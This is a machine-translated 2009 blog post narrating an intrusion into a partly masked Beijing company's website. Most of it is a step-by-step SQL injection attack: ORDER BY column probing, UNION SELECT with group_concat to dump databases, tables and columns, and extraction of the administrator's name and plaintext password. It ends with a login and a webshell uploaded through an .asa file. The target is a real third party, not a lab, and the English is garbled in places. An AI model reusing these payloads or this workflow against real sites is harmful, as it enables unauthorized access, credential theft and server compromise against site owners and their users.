Php injection Logging

Author: wandering

Date: 2009/11/20

Come to a website -- Beijing **** Technology Limited Company, put the web site in ah d scanning under the background, the back immediately jumped out, http://www.hxco **. com/admin/login. php: I tried the universal password or 1 = 1/*. The result is unsuccessful. Find another vulnerability. Back to the home page, click a link, http://www.hxco **. com/xwnr. php? Id = 8, followed by an error.

 

Hey, the directory is exposed.

If and 1 = 1 is followed, the returned result is correct. If and 1 = 11 is returned, an injection point exists. Since there are injection points, we are a class of lazy people, of course, handed over to tools for processing, right!

Taking out the latest version of Pangolin 3.0, although the memory usage is a little high, but the strength of this tool is worth pursuing.

 

The detected information is huaxin @ localhost, mysql5, and the physical address of the database. The huaxin @ localhost user does not have the management permission, it seems that you can only follow the steps of the general brute-force database brute-force table brute-force field, and then try to guess the table with pangolin. The result is incorrect. It seems that the tool is not good and you can only do it manually.

 

Http://www.hxco **. com/xwnr. php? Id = 8 order by 10/* error, incorrect Field

 

Http://www.hxco **. com/xwnr. php? Id = 8 order by 5/*. add two more fields.

Http://www.hxco **. com/xwnr. php? Id = 8 order by 7/* Error

Http://www.hxco **. com/xwnr. php? Id = 8 order by 6/* is correct. It seems that it is 6 fields.

Http://www.hxco **. com/xwnr. php? Id = 8 and 1 = 2 union select 1, 2, 4, 5, 6 /*

Result:

The error numbers are 2, 4, and 5. Enter some mysql built-in functions on these numbers.

In 2 where we use user () Instead, http://www.hxco **. com/xwnr. php? Id = 8% 20and % 201 = 2% 20 union % 20 select % 201, user (), 3, 4, 5, 6/* exposed data huaxin @ localhost, in step 2, we will change it to database () to expose the database hx_news. Let's manually check if this user has the write permission. Add and (select count (*) from mysql after the URL. user)> 0/*. The result returns an error. It seems that you really do not have the write permission. You can only guess the table.

(There are also some other functions: 1: system_user () 2: user () 3: current_user 4: session_user () 5: database () 6: version () 7: load_file () I won't try again here)

Because mysql is a version later than mysql 5.0, we can use group_concat for brute-force cracking instead of boring guesses. Below, we enter the most important part.

Http://www.hxco **. com/xwnr. php? Id = 8 and 1 = 2 union select 1, 2, 3, 4, 5, 6 from information_schema.tables/* returns the correct result, indicating that the statement is correct. Then we can add group_concat for exploitation.

All Database names exposed:

Http://www.hxco **. com/xwnr. php? Id = 8 and 1 = 2 union select 1, group_concat

(Schema_name), 3, 4, 5, 6 from information_schema.schemata --

The following three databases are available: information_schema, hx, and hx_news.

Next, violent table
Http://www.hxco **. com/xwnr. php? Id = 8 and 1 = 2 union select 1, group_concat (table_name), 3, 4, 5, 6 from information_schema.tables where table_schema = database ()--

Obtain the table names img, news, tab_user, tab_user_online, and testok.

In these tables, only tab_user may store the Administrator's user and password.

Come up with a Multi-Function Conversion Tool, convert tab_user into hexadecimal, http://www.hxco **. com/xwnr. php? Id = 8 and 1 = 2 union select 1, group_concat (column_name), 3,4, 5, 6 from information_schema.columns where table_name = 0x7461625F75736572 --

Obtain the field name id, name, password, flag, datetime.

The final result is the value of the output field.

Http://www.hxco **. com/xwnr. php? Id = 8 and 1 = 2 union select 1, concat_ws

(0x2b, id, name, password), 3,4, 5, 6 from hx_news.tab_user --

2 + master + bjhxadmin, ID = 2, name = master, password = bjhxadmin.

Now, let's go back and enter the user name and password to log on.

The background functions are not strong, but we should use them...

In the image management service of the employee's house, you can directly upload the asa file. Hey, webshell is ready.

I won't get the final Elevation of Privilege. Elevation of Privilege is not my director.